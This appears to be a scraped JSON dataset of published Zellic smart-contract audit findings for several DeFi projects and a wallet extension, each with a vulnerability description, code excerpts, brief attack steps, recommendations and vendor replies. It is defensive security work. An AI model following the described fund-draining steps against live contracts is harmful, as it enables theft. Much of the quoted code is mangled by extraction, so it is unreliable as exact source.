setAddress(bytes32 key, address value) external onlyRegisteredNetworkContract { addressStorage[key] = value; } function setBool(bytes32 key, bool value) external onlyRegisteredNetworkContract { booleanStorage[key] = value; } function setBytes(bytes32 key, bytes calldata value) external onlyRegisteredNetworkContract { bytesStorage[key] = value; } As an example, the setter functions inside the Staking contract have different restric- tions for caller (e.g., the setLastRewardsCycleCompleted function can be called only by ClaimNodeOp contract), but actually the setUint function from it may be called by any Zellic Multisig Labs RegisteredNetworkContract. We believe that in a highly unlikely case, a malicious networkRegistered contract could potentially alter the entire protocol Storage to their will. Additionally, if it were possible to setBool of an arbitrary address, then this scenario would be further exploitable by a malicious developer contract. We recommend paying extra attention to the registration of networkContracts, as well as closely monitoring where and when the setBool function is used, since the network registration is based on a boolean value attributed to the contract address. The issue has ben acknowledged by the Multisig Labs. Their official reply is repro- duced below: While it is true that any registered contract can write to Storage, we view all of the separate contracts comprising the Protocol as a single system. A single entity (either the Guardian Multisig or in future the ProtocolDAO) will be in control of all of the contracts. In this model, if an attacker can register a single malicious contract, then they are also in full control of the Protocol itself. Because all of the contracts are treated as a single entity, there is no additional security benefit to be gained by providing access controls between the various contract\u2019s storage slots. As a mitigation, the Protocol will operate several distributed Watchers that will continually scan the central Storage contract, and alert on any changes. Zellic Multisig Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/GoGoPool - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Oracle may reflect an outdated price", + "labels": [ + "Zellic" + ], + "body": "Target: Oracle Category: Business Logic Likelihood: Medium Severity: Medium : Medium Some functions at protocol-level make use of the getGGPPriceInAvax. This getter re- trieves the price, which is set by the Rialto multisig. ///)) @notice Get the price of GGP denominated in AVAX ///)) @return price of ggp in AVAX ///)) @return timestamp representing when it was updated function getGGPPriceInAVAX() external view returns (uint256 price, uint256 timestamp) { price = getUint(keccak256(\u201cOracle.GGPPriceInAVAX\u201d)); if (price =) 0) { revert InvalidGGPPrice(); } timestamp = getUint(keccak256(\u201cOracle.GGPTimestamp\u201d)); } Due to the nature of on-chain price feeds, Oracles need to have an as-often-as- possible policy in regards to how often the price gets updated. For that reason, the reliance on the Rialto may be problematic should it fail to update the price often enough. Should the price be erroneous, possible front-runs may happen at the protocol level, potentially leading to a loss of funds on the user-end side. We recommend implementing a slippage check, which essentially does not allow a price to be used should it have been updated more than x blocks ago. The finding has been acknowledged by the Multisig Labs team. Their official reply is reproduced below: Zellic Multisig Labs The price of GGP is used in the Protocol to determine collateralization ratios for minipools as well as slashing amounts. If the price of GGP is unknown or out- dated, the protocol cannot operate. So our remediation for this will be to have a distributed set of Watchers that will Pause the Protocol if the GGP Price becomes outdated. At some point in the future the Protocol will use on-chain TWAP price oracles to set the GGP price. Zellic Multisig Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/GoGoPool - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Fields are not reset exactly after their usage", + "labels": [ + "Zellic" + ], + "body": "Target: MinipoolManager Category: Business Logic Likelihood: Low Severity: Low : Low Due to the nature of the protocol, some fields are queried and used in one interme- diary state of the application and then reset in the last state of the application. As an example, see the avaxNodeOpRewardAmt value, which is queried and used in withdrawM inipoolFunds (which can only be called in the WITHDRAWABLE stage) function withdrawMinipoolFunds(address nodeID) external nonReentrant { int256 minipoolIndex = requireValidMinipool(nodeID); address owner = onlyOwner(minipoolIndex); requireValidStateTransition(minipoolIndex, MinipoolStatus.Finished); setUint(keccak256(abi.encodePacked(\u201cminipool.item\u201d, minipoolIndex, \u201c.status\u201d)), uint256(MinipoolStatus.Finished)); uint256 avaxNodeOpAmt = getUint(keccak256(abi.encodePacked(\u201cminipool.item\u201d, minipoolIndex, \u201c.avaxNodeOpAmt\u201d))); uint256 avaxNodeOpRewardAmt = getUint(keccak256(abi.encodePacked(\u201cminipool.item\u201d, minipoolIndex, \u201c.avaxNodeOpRewardAmt\u201d))); uint256 totalAvaxAmt = avaxNodeOpAmt + avaxNodeOpRewardAmt; Staking staking = Staking(getContractAddress(\u201cStaking\u201d)); staking.decreaseAVAXStake(owner, avaxNodeOpAmt); Vault vault = Vault(getContractAddress(\u201cVault\u201d)); vault.withdrawAVAX(totalAvaxAmt); owner.safeTransferETH(totalAvaxAmt); } and then either reset in the recordStakingEnd function, to the new rounds\u2019 avaxNodeO pRewardAmt, or set to 0 in recordStakingError. The protocol\u2019s structure assumes that the way in which the states are transitioned Zellic Multisig Labs through is consistent. Should major changes occur in the future of the protocol, we suspect that some states that are presumably reset in an eventual state of the protocol may be omitted. This could in turn lead to unexpected consequences to the management of the minipool. We highly recommend that once important storage states are used, they should also be reset. In this way, future versions of the protocol will have a solid way of transi- tioning without requiring additional synchronization of storage state. The issue has ben acknowledged by the Multisig Labs. Their official reply is repro- duced below: The Protocol maintains some fields in Storage so that data such as avaxNodeO- pRewardAmt can be displayed to the end user. The fields will be reset if the user relaunches a minipool with the same nodeID again in the future. This is by design. Zellic Multisig Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/GoGoPool - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Protocol owner can drain pools", + "labels": [ + "Zellic" + ], + "body": "Target: DefinitiveRewardToken, DefinitiveStakingManager Category: Business Logic Likelihood: Low Severity: Critical : High Each staking manager has an associated token for accounting purposes. When a user accrues rewards, the corresponding tokens are minted. When a user withdraws to- kens, the contract uses the sum of their deposits and their reward token balance. From the withdraw function, /) Withdraw from definitive vault and include reward token balances uint256 underlyingAmount = withdrawFromDefinitive( _index, _lpTokenAmount + rewardTokenBalance ); emit Withdraw(msg.sender, underlyingAmount); /) Transfer to user IERC20 underlying = IERC20(underlyingTokenAddresses[_index]); underlying.approve(msg.sender, underlyingAmount); underlying.transfer(msg.sender, underlyingAmount); The reward token is deployed separately by the owner, who uses the admin role to grant the corresponding staking manager the ability to mint and burn tokens. This means that the owner retains the ability to arbitrarily mint and burn tokens. By granting the MINTER_ROLE to an account they control, the owner can 1. decrease the shares of other users and 2. increase their own shares. Zellic Rainmaker At any time, the owner can mint a large amount of tokens for themselves and with- draw the entire lpTokensStaked. As a consequence, in the event of a key compromise, all users would be exposed to potential loss of funds. Additionally, this requires un- necessary trust in the owner, which might discourage use of the protocol. We recommend deploying the token contract from the staking manager constructor and removing the owner\u2019s responsibility to grant roles. Alternatively, the ownership of the contract could be transferred to the staking manager. In commit 5a9a0e3f, Rainmaker fixed this issue by deploying the token contract di- rectly from the staking manager constructor. Zellic Rainmaker", + "html_url": "https://github.com/Zellic/publications/blob/master/Rainmaker - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Extraneous approval during withdrawal", + "labels": [ + "Zellic" + ], + "body": "Target: DefinitiveStakingManager Category: Coding Mistakes Likelihood: Medium Severity: Critical : High At the end of the withdraw function, the tokens are transferred to the user: /) Transfer to user IERC20 underlying = IERC20(underlyingTokenAddresses[_index]); underlying.approve(msg.sender, underlyingAmount); underlying.transfer(msg.sender, underlyingAmount); However, because the transfer is done with transfer and not transferFrom or safeTr ansferFrom, the approval to the sender is not spent. Even after the payment, the user can still withdraw underlyingAmount of the token by calling transferFrom themselves. Definitive has the ability to withdraw tokens into the staking manager; the withdrawTo function is guarded with onlyWhitelisted. Thus, although no explicit functionality of the staking manager will leave the contract holding any funds, Definitive is allowed to perform such withdrawals and cause funds to be left in the staking manager contract. Further, future functionality may include the staking manager taking custody of tokens (such as fees) as well. In these cases, the extra approval will allow any user to steal rewards or future fees held by the staking manager. This could also be performed maliciously by Definitive. For instance, those with the ROLE_DEFINITIVE on the underlying strategy might be able to drain the contract by 1. depositing and withdrawing funds to increase unspent approval on the token, 2. calling withdrawTo on the underlying vault to withdraw funds into the staking manager, and 3. calling transferFrom on the underlying token into their own account. Zellic Rainmaker Remove the unnecessary call to underlying.approve. This issue has been acknowledged by Rainmaker, and a fix was implemented in com- mit 46249703. Zellic Rainmaker", + "html_url": "https://github.com/Zellic/publications/blob/master/Rainmaker - Zellic Audit Report.pdf" + }, + { + "title": "3.3 The underlying vault admin can drain pools", + "labels": [ + "Zellic" + ], + "body": "Target: DefinitiveStakingManager Category: Coding Mistakes Likelihood: Low Severity: Critical : High In underlying Definitive pools, the deployer can configure permissions during deploy- ment. Importantly, a specific account is granted the DEFAULT_ADMIN_ROLE. In CoreAcce ssControl, constructor(CoreAccessControlConfig memory cfg) { /) admin _setupRole(DEFAULT_ADMIN_ROLE, cfg.admin); /) definitive admin _setupRole(ROLE_DEFINITIVE_ADMIN, cfg.definitiveAdmin); _setRoleAdmin(ROLE_DEFINITIVE_ADMIN, ROLE_DEFINITIVE_ADMIN); /) definitive for (uint256 i = 0; i < cfg.definitive.length; i+)) { _setupRole(ROLE_DEFINITIVE, cfg.definitive[i]); } _setRoleAdmin(ROLE_DEFINITIVE, ROLE_DEFINITIVE_ADMIN); /) clients - implicit role admin is DEFAULT_ADMIN_ROLE for (uint256 i = 0; i < cfg.client.length; i+)) { _setupRole(ROLE_CLIENT, cfg.client[i]); } } In OpenZeppelin\u2019s AccessControl, the user with DEFAULT_ADMIN_ROLE has the ability to manage other roles. This means that after deployment, the deployer is able to grant ROLE_CLIENT to other accounts. This allows them to steal funds by 1. granting that role to an account they control and Zellic Rainmaker 2. using that account to freely withdraw from the vault. This would expose all users to potential loss of funds if the admin were ever com- promised. It also requires unnecessary trust from users, which may discourage use of the protocol. We recommend that Rainmaker set a smart contract or the vault manager itself as the sole owner of the vault. This may look like a system for transferring ownership during deployment. Rainmaker added documentation in commit ac95d65e, indicating that this risk is mit- igated by granting underlying pool ownership to the Rainmaker multisig. Zellic Rainmaker", + "html_url": "https://github.com/Zellic/publications/blob/master/Rainmaker - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Missing slippage limits allow front-running", + "labels": [ + "Zellic" + ], + "body": "Target: DefinitiveStakingManager Category: Business Logic Likelihood: Medium Severity: Medium : Medium During deposits and withdrawals, the staking manager interacts with the underlying vault for entry and exit. Those functions each have the parameter minAmount, which sets slippage limits for the staker actions. However, the minAmount is set to zero in all cases: /** * @dev Withdraw tokens from Definitive vault end-to-end (exit + withdraw) *) function withdrawFromDefinitive( uint8 _index, uint256 lpTokens ) private returns (uint256) { IERC20 underlying = IERC20(underlyingTokenAddresses[_index]); /) 1. Exit from the strategy via LP Tokens uint256 underlyingAmount = definitiveVault.exitOne(lpTokens, 0, _index); /) 2. Withdraw from the vault definitiveVault.withdraw(underlyingAmount, address(underlying)); return underlyingAmount; } These slippage limits are essential for mitigating front-running. Consider the _proces sExitPoolTransfers function in Balancer\u2019s PoolBalances contract: /** * @dev Transfers `amountsOut` to `recipient`, checking that they are within their accepted limits, and pays * accumulated protocol swap fees from the Pool. * Zellic Rainmaker * Returns the Pool's final balances, which are the current `balances` minus `amountsOut` and fees paid * (`dueProtocolFeeAmounts`). *) function _processExitPoolTransfers( address payable recipient, PoolBalanceChange memory change, bytes32[] memory balances, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ) private returns (bytes32[] memory finalBalances) { finalBalances = new bytes32[](balances.length); for (uint256 i = 0; i < change.assets.length; +)i) { uint256 amountOut = amountsOut[i]; _require(amountOut >) change.limits[i], Errors.EXIT_BELOW_MIN); ...)) } ...)) } If the minAmount (which becomes an element of change.limits) is set to zero, the slip- page check does nothing. This leaves users vulnerable to front-running. We recommend that the protocol provide users a way to specify minAmount. This issue has been acknowledged by Rainmaker, and a fix was implemented in com- mit 2c613c09. Zellic Rainmaker", + "html_url": "https://github.com/Zellic/publications/blob/master/Rainmaker - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Unenforced assumptions about Definitive behavior", + "labels": [ + "Zellic" + ], + "body": "Target: DefinitiveRewardToken Category: Business Logic Likelihood: Medium Severity: Medium : Medium The staking manager makes some assumptions about underlying vault behavior that may not be true. For instance, it treats the LP token balance as increasing (except during withdrawals). However, Definitive is permitted to perform exits and decrease that balance. Violation of these assumptions might cause user funds to become locked. In staking manager withdrawal functions, withdrawals are always accompanied by exits: /** * @dev Withdraw tokens from Definitive vault end-to-end (exit + withdraw) *) function withdrawFromDefinitive( uint8 _index, uint256 lpTokens ) private returns (uint256) { IERC20 underlying = IERC20(underlyingTokenAddresses[_index]); /) 1. Exit from the strategy via LP Tokens uint256 underlyingAmount = definitiveVault.exitOne(lpTokens, 0, _index); /) 2. Withdraw from the vault definitiveVault.withdraw(underlyingAmount, address(underlying)); return underlyingAmount; } Since exiting and withdrawing are done together, there is no way to withdraw funds that are unstaked. Those with ROLE_DEFINITIVE have permissions to unstake funds into the underlying vault. Additionally, as mentioned in 3.2, they are able to withdraw vault funds into the staking manager too. Zellic Rainmaker These situations will create unstaked funds that cannot be withdrawn. As a mitigation, Rainmaker could provide users the ability to redeposit and reenter funds if they get stuck in either the underlying vault or the staking manager. Additionally, the vault is not immune to losses: it is possible for unfavorable conditions to cause a net decrease in LP token balance. This may result in shares that cannot be withdrawn. Rainmaker should document such risks. Rainmaker added functionality for restaking such funds in commit 25188ee8. Zellic Rainmaker", + "html_url": "https://github.com/Zellic/publications/blob/master/Rainmaker - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Excessive owner responsibility creates deployment risks", + "labels": [ + "Zellic" + ], + "body": "Target: DefinitiveRewardToken, DefinitiveStakingManager Category: Code Maturity Likelihood: Low Severity: Medium : Medium Each staking manager, from construction, holds an array of underlying token addresses: /) Constructor constructor( address[] memory _underlyingAddresses, address _rewardTokenAddress, address _definitiveVaultAddress ) { underlyingTokenAddresses = _underlyingAddresses; rewardToken = DefinitiveRewardToken(_rewardTokenAddress); definitiveVault = IDefinitiveVault(_definitiveVaultAddress); } The precise order and contents of this array are extremely important because in depo sitIntoDefinitive, the amounts array must correspond exactly to both underlyingTok enAddresses and the token addresses in the vault. /** * @dev Deposit tokens into Definitive vault end-to-end (deposit + enter) * @return Staked amount (lpTokens) *) function depositIntoDefinitive( uint256 _underlyingAmount, uint8 _index ) private returns (uint256) { IERC20 underlying = IERC20(underlyingTokenAddresses[_index]); uint256[] memory amounts = new uint256[](underlyingTokenAddresses.length); amounts[_index] = _underlyingAmount; /) 1. Approve vault to spend underlying underlying.approve(address(definitiveVault), _underlyingAmount); Zellic Rainmaker /) 2. Deposit into the vault definitiveVault.deposit(amounts, underlyingTokenAddresses); /) 3. Enter into the strategy using 0 as minAmountsOut to get standard slippage return definitiveVault.enter(amounts, 0); } This means that during deployment, the owner is responsible for ensuring that _unde rlyingAddresses matches the vault\u2019s LP_UNDERLYING_TOKENS. Additionally, the owner needs to grant the staking manager the MINTER_ROLE in its cor- responding reward token. If the underlyingTokenAddresses array does not match LP_UNDERLYING_TOKENS, the pro- tocol may experience incorrect accounting or broken functionality. If the staking manager is not granted the required role, then deposits and withdrawals would eventually fail. Worse, if MINTER_ROLE on one token is mistakenly granted to multiple different staking managers, they could experience severe accounting issues and users may lose funds. We recommend that the protocol determine the underlying token addresses from the given vault as a single source of truth. The second issue is mitigated by the recom- mendation in 3.1. Rainmaker fixed these risks in 32bfa1fa and the remediations for 3.1. Zellic Rainmaker", + "html_url": "https://github.com/Zellic/publications/blob/master/Rainmaker - Zellic Audit Report.pdf" + }, + { + "title": "3.7 Staking manager may become locked", + "labels": [ + "Zellic" + ], + "body": "Target: DefinitiveStakingManager Category: Business Logic Likelihood: Low Severity: Medium : Medium The underlying vaults contain functionality that allows Definitive to pause contracts and the vault admin to unpause them. In BaseAccessControl, /** * @dev Inherited from CoreStopGuardian *) function enableStopGuardian() public override onlyAdmins { return _enableStopGuardian(); } /** * @dev Inherited from CoreStopGuardian *) function disableStopGuardian() public override onlyClientAdmin { return _disableStopGuardian(); } The STOP_GUARDIAN_ENABLED flag is checked on critical strategy functions. This means that the admin of the underlying strategy has the responsibility to prevent funds from being locked. In some unfavorable events (such as private key loss or compromise), staking manager mechanics may break. In addition to the recommendations in 3.3, we recommend providing users some con- trol over this \u201cunpause\u201d functionality \u2014 for example, by creating a smart contract, or modifying the staking manager, to act as the admin and allow users to unpause the contract. In case some pauses are necessary, this might include reasonable timelocks. Zellic Rainmaker In commit 6abfbd3d, Rainmaker documented that the admin role will be held by a multisig to mitigate centralization risk. Zellic Rainmaker", + "html_url": "https://github.com/Zellic/publications/blob/master/Rainmaker - Zellic Audit Report.pdf" + }, + { + "title": "3.8 Potential centralization risk from fee configuration", + "labels": [ + "Zellic" + ], + "body": "Target: DefinitiveStakingManager Category: Business Logic Likelihood: N/A Severity: Informational : N/A Though the value is not yet used, the staking manager allows the owner to set feePct: /** * @dev Set fees *) function setFees(uint256 _feePct) external onlyOwner { feePct = _feePct; } If future additions to the protocol do use feePct, the owner would have the ability to make fees arbitrarily high \u2014 even above 100%. In general, this requires unneces- sary trust from users, which might discourage use of the protocol. In the case of key compromise, this would grant an attacker the ability to steal additional user funds. We recommend adding a reasonable upper limit (that is at least below 100%) on fee Pct if it is ever used. Alternatively, Rainmaker could instead implement a timelock for such configuration upgrades to allow users time to react to adverse changes. Rainmaker removed this functionality in 1d606d40. Zellic Rainmaker", + "html_url": "https://github.com/Zellic/publications/blob/master/Rainmaker - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Malformed responses to the coinInfo API can soft lock the wallet", + "labels": [ + "Zellic" + ], + "body": "Target: src/data/queries/coinInfo.ts Category: Coding Mistakes Likelihood: Low Severity: Medium : Medium A request is automatically sent to the following endpoint /v1/accounts/0x1/resource /0x1:)coin:)CoinInfo%3C0x1:)aptos_coin:)AptosCoin%3E during startup. The handler fails to check for errors, leading to a permanent soft lock when malformed data is returned. There are multiple scenarios where this could happen: RPC endpoint encounters an error RPC endpoint is malicious The requests are repeated, so the extension stays bricked as long as the returned data is malformed. async () => { return aptos.getAccountResource(extractAddressFromType(token as string), composeType(network.structs.CoinInfo, [token as string])) .then((value: AptosResource) => { const type = token as string; const decimals = +value.data.decimals; const name = value.data.name; const symbol = value.data.symbol; const alias = network.tokenAlias[token as string] ?) value.data.symbol; addTokenInfo({ name, symbol, decimals }); return { type, decimals, name, symbol, alias }; }) }, { ...))RefetchOptions.INFINITY, Zellic Pontem Technology Ltd. enabled: !)token } It leads to a permanent soft lock of the whole extension. It can be fixed by directly visiting chrome-extension:))/index.html#/settings/ and switching the network or reinstalling the extension. We recommend additional error handling when handling RPC responses. A fix was introduced in commit 9b4ad36e by incorporating error handling into the function, effectively preventing the wallet extension from experiencing a persistent, endless loop in the event of receiving malformed data. Zellic Pontem Technology Ltd.", + "html_url": "https://github.com/Zellic/publications/blob/master/Pontem wallet - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Low password complexity threshold", + "labels": [ + "Zellic" + ], + "body": "Target: src/extension/modules/SignUp/SetPasswordForm/index.tsx Category: Coding Mistakes Likelihood: Medium Severity: Low : High The only requirement for the keyring password is that it needs to be at least six char- acters long. const validate = (values: SubmitPasswordFormValues) => { const errors: SubmitPasswordFormErrors = {}; if (!values.password) { errors.password = \u201cPassword required\u201d; } else if (values.password.length < MIN_PASSWORD_LENGTH) { errors.password = `Password length should contain minimum ${MIN_PASSWORD_LENGTH} characters`; } if (!values.confirm) { errors.confirm = \u201cPassword confirmation required\u201d; } else if (values.confirm.length < MIN_PASSWORD_LENGTH) { errors.confirm = `Password confirmation length should contain minimum ${MIN_PASSWORD_LENGTH} characters`; } else if (values.confirm !==)) values.password) { errors.confirm = \u201cPassword confirmation not similar\u201d; } if (!values.agreed) { errors.agreed = \u201cYou need to agree with terms and conditions\u201d; } return errors; }; A six-character password can be bruteforced in a matter of seconds, leading to a compromise of the wallet. Zellic Pontem Technology Ltd. We recommend Pontem Technology Ltd. increase the length requirements along with mandating special characters and lowercase and uppercase letters. A fix was introduced in commit e6ad1094 by adding multiple requirements on pass- word entry such as minimum password length and special characters. Zellic Pontem Technology Ltd.", + "html_url": "https://github.com/Zellic/publications/blob/master/Pontem wallet - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Cleartext password in the browser\u2019s session storage", + "labels": [ + "Zellic" + ], + "body": "Target: src/auth/hooks/useKeyring.ts Category: Coding Mistakes Likelihood: Low Severity: Low : High After a user creates or unlocks their wallet, their password is stored in plaintext in the session storage. This is a critical piece of information and should never be available in plaintext form. const createWallet = async (password: string) => { const address = await controller.createNewKeychain(password); if (IS_EXTENSION_RUNTIME) { await extension.storage.session.set({ storedPassword: password }); } return address; }; const unlock = async (password: string) => { const keyrings = await controller.unlock(password); if (IS_EXTENSION_RUNTIME) { await extension.storage.session.set({ storedPassword: password }); } return keyrings; }; An attacker with physical access to the machine or a cross-domain exploit can leak the plaintext password and mnemonic phrase. Handling of the plaintext password should be kept to the minimum and should be immediately deleted or encrypted after use. Zellic Pontem Technology Ltd. Figure 3.1: Example of cleartext password in session storage. A fix was introduced in commit 0b6c08fb by encrypting the password before setting it in the local storage. A refactor of the flow is planned, which will remove the password from storage entirely. It\u2019s worth noting that the password is not stored permanently and is automatically deleted after five minutes of inactivity. Zellic Pontem Technology Ltd.", + "html_url": "https://github.com/Zellic/publications/blob/master/Pontem wallet - Zellic Audit Report.pdf" + }, + { + "title": "5.2 Automated Static Analysis For the sake of comprehensiveness, we employed industry-standard static analysis tools, like Slither. Fortunately, our automated analyses did not uncover any notable issues. We would also like to note that the Nexus Labs implemented a Slither test in package.json. Zellic Maverick Protoco", + "labels": [ + "Zellic" + ], + "body": "5.2 Automated Static Analysis For the sake of comprehensiveness, we employed industry-standard static analysis tools, like Slither. Fortunately, our automated analyses did not uncover any notable issues. We would also like to note that the Nexus Labs implemented a Slither test in package.json. Zellic Maverick Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Maverick Protocol - Zellic Security Assessment Report.pdf" + }, + { + "title": "5.3 Symbolic Execution and SMT Checking We attempted to run the Mythril contract analyzer on the contracts. However, the contracts are very complex, and the analyzer never completed due to the classic state explosion problem faced by symbolic execution techniques. There is a large number of operations and many loops, resulting in an exponentially large number of states to explore. In the industry, this is an active research question currently undergoing extensive study. Running the estimator and pool through the Solidity compiler\u2019s SMTChecker to for- mally verify the correctness of their relationship was also not feasible due to similar issues. As of the time of writing, the SMTChecker is not able to unroll/inline loops in the contracts, rendering it practically unusable for this engagement. However, as we discuss in the next section, we did apply fuzzing tests to strengthen the contracts\u2019 level of assurance", + "labels": [ + "Zellic" + ], + "body": "5.3 Symbolic Execution and SMT Checking We attempted to run the Mythril contract analyzer on the contracts. However, the contracts are very complex, and the analyzer never completed due to the classic state explosion problem faced by symbolic execution techniques. There is a large number of operations and many loops, resulting in an exponentially large number of states to explore. In the industry, this is an active research question currently undergoing extensive study. Running the estimator and pool through the Solidity compiler\u2019s SMTChecker to for- mally verify the correctness of their relationship was also not feasible due to similar issues. As of the time of writing, the SMTChecker is not able to unroll/inline loops in the contracts, rendering it practically unusable for this engagement. However, as we discuss in the next section, we did apply fuzzing tests to strengthen the contracts\u2019 level of assurance.", + "html_url": "https://github.com/Zellic/publications/blob/master/Maverick Protocol - Zellic Security Assessment Report.pdf" + }, + { + "title": "3.1 Centralization risk on execute function", + "labels": [ + "Zellic" + ], + "body": "Target: VerifierNetwork Category: Business Logic Likelihood: Low Severity: Medium : Low The execute function restricts the callers to only the admin role: function execute(ExecuteParam[] calldata _params) external onlyRole(ADMIN_ROLE) { for (uint i = 0; i < _params.length; +)i) { /)...)) } } } However, this restriction is unnecessary because the function requires a quorum of valid signatures. If a quorum is reached, there should be no need for the quorum-ed signatures to be sent by a trusted party. This can instead be made trustless. If an admin is unable to call execute, this will halt all the operations of the ULN. It would not be able to deliver any messages to the endpoint, even if all of the signers were online. The function should be able to be called permissionlessly to ensure the signatures may always be submitted. LayerZero Labs, after discussing with Zellic has decided that this issue does not war- rant a fix at the current time Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 (VerifierNetwork) - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Potential replay across chains", + "labels": [ + "Zellic" + ], + "body": "Target: VerifierNetwork Category: Business Logic Likelihood: Low Severity: Low : Low As LayerZero is a cross-chain application, VerifierNetwork might be deployed across multiple chains. There exists a possibility of message replay if signers are shared be- tween multiple instances of VerifierNetwork. This is because there is no unique iden- tifier pinning the VerifierNetwork the message can be executed at. A message can be replayed between instances of VerifierNetwork if the signers/quo- rum is shared. As the signed message includes the target address, calls to onlySelf(orAdmin) func- tions cannot be replayed. Furthermore, calls to ULN functions such as verify would not be useful to an attacker as well. Add an identifier to VerifierNetwork that is checked as part of the signature. LayerZero labs acknowled the issue and has fixed it in commit 175c08bd Zellic LayerZero Labs 4 Threat Model This assessment was conducted as part of the larger assessment for Endpoint V2. Please refer to the Endpoint V2 report for a detailed threat model. Zellic LayerZero Labs 5 Assessment Results At the time of our assessment, the reviewed code was not deployed to the Ethereum Mainnet. During our assessment on the scoped Endpoint V2 (VerifierNetwork) contracts, we discovered two findings, all of which were low impact. LayerZero Labs acknowledged all findings and implemented fixes.", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 (VerifierNetwork) - Zellic Audit Report.pdf" + }, + { + "title": "3.1 The _getAccount function may return inaccurate information", + "labels": [ + "Zellic" + ], + "body": "Target: LockRewards Category: Coding Mistakes Likelihood: Medium Severity: Low : Informational The function returns the following information: balance, the amount of tokens deposited by the user \u2013 lockEpochs, the number of epochs for which the tokens are locked \u2013 lastEpochPaid, the last epoch for which the user has received rewards \u2013 rewards, an array of the rewards for each token The function retrieves the first three values from the accounts mapping, while the last value is calculated in a for loop. The loop iterates over the rewardTokens array, which contains the current list of reward tokens. However, since the accounts[owner].rewards mapping contains rewards for all tokens that the user has ever accrued and not claimed, if the user has accrued rewards for a token that is not in the current rewardTokens list, the function will not include it, resulting in an incomplete rewards list. function _getAccount(address owner) internal view returns (uint256 balance, uint256 lockEpochs, uint256 lastEpochPaid, uint256[] memory rewards) { rewards = new uint256[](rewardTokens.length); for (uint256 i = 0; i < rewardTokens.length;) { rewards[i] = accounts[owner].rewards[rewardTokens[i]]; unchecked { +)i; } } Zellic H20 return (accounts[owner].balance, accounts[owner].lockEpochs, accounts[owner].lastEpochPaid, rewards); } There are no security risks associated with this bug, but it could potentially cause confusion for users: the function may not accurately reflect the rewards that the user has accrued for tokens that are not currently in the reward tokens list. We recommend modifying the for loop to iterate over the accounts[owner].rewardTo kens array as shown below: for (uint256 i = 0; i < accounts[owner].rewardTokens.length;) { address addr = accounts[owner].rewardTokens[i]; uint256 reward = accounts[owner].rewards[addr]; rewards[i] = reward; unchecked { +)i; } } The issue has been fixed by H20 in commit 81f252c5. Zellic H20", + "html_url": "https://github.com/Zellic/publications/blob/master/H20 vlPSDN - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Centralization risk: reward token recovery", + "labels": [ + "Zellic" + ], + "body": "Target: LockRewards Category: Coding Mistakes Likelihood: Low Severity: Informational : Informational In the recoverERC20 function, the owner can recover any ERC20 token excluding lockToken. In the recoverERC721 function, the owner can recover any ERC721 token. In the event that the owner\u2019s private key is compromised, an attacker could potentially steal all reward tokens that have not yet been claimed by users by whitelisting a token and calling the recoverERC20 function. The changeRecoverWhitelist function does contain a check to prevent the owner from removing the governance token: /** * @notice Add or remove a token from recover whitelist, * cannot whitelist governance token * @dev Only contract owner are allowed. Emits an event * allowing users to perceive the changes in contract rules. * The contract allows to whitelist the underlying tokens * (both lock token and rewards tokens). This can be exploited * by the owner to remove all funds deposited from all users. * This is done bacause the owner is mean to be a multisig or * treasury wallet from a DAO * @param flag: set true to allow recover *) function changeRecoverWhitelist(address tokenAddress, bool flag) external onlyOwner { if (tokenAddress =) lockToken) revert CannotWhitelistLockedToken(lockToken); if (tokenAddress =) rewardTokens[0]) revert CannotWhitelistGovernanceToken(rewardTokens[0]); whitelistRecoverERC20[tokenAddress] = flag; emit ChangeERC20Whiltelist(tokenAddress, flag); } Zellic H20 However, the check is ineffective because the owner can simply remove all tokens from rewardTokens using the removeReward function. This allows the owner to steal all reward funds. Use a multi-signature address wallet; this would prevent an attacker from caus- ing economic damage if a private key were compromised. Set critical functions behind a timelock to catch malicious executions in the case of compromise. Prohibit withdrawal of reward tokens. H20 added a new role called PAUSE_SETTER_ROLE that is responsible for administering the pause and unpause functionality. Additionally, they have implemented the use of TimeLockController for ownership in commit 77d735f0. Zellic H20", + "html_url": "https://github.com/Zellic/publications/blob/master/H20 vlPSDN - Zellic Audit Report.pdf" + }, + { + "title": "3.1 migratePool results in loss of funds", + "labels": [ + "Zellic" + ], + "body": "Target: LendingStorageManager Category: Business Logic Likelihood: Low Severity: Medium : High The lending storage manager includes a function to migrate the multiple liquidity pool to a new address; this function can only be called by the multiple liquidity pool. The migration function does not migrate critical accounting information such as the total number of synthetic tokens or the collateral assets of the liquidity providers. function migratePool(address oldPool, address newPool) external override nonReentrant onlyPoolFactory { ...)) /) copy storage to new pool newPoolData.lendingModuleId = oldLendingId; newPoolData.collateral = oldPoolData.collateral; newPoolData.interestBearingToken = oldPoolData.interestBearingToken; newPoolData.jrtBuybackShare = oldPoolData.jrtBuybackShare; newPoolData.daoInterestShare = oldPoolData.daoInterestShare; newPoolData.collateralDeposited = oldPoolData.collateralDeposited; newPoolData.unclaimedDaoJRT = oldPoolData.unclaimedDaoJRT; newPoolData.unclaimedDaoCommission = oldPoolData.unclaimedDaoCommission ; ...)) } The following critical accounting information in the pool is not migrated: contract SynthereumMultiLpLiquidityPool...)) uint256 internal totalSyntheticAsset; Zellic Jarvis ...)) mapping(address => LPPosition) internal lpPositions; ...)) The multiple liquidity pool currently does not implement a function calling the pool migration function; however, implementing a function calling the migration function in its current state would result in lost funds. We recommend removing the function until the implementation is corrected. We further note that fixing these issues will require more than just changing the migrate Pool(...))) function in the lending storage manager; it will also require changes to be made in the multiple liquidity pool to update the fields totalSyntheticAsset and read and update the lpPositions mapping. Jarvis has made considerable efforts to address the concerns 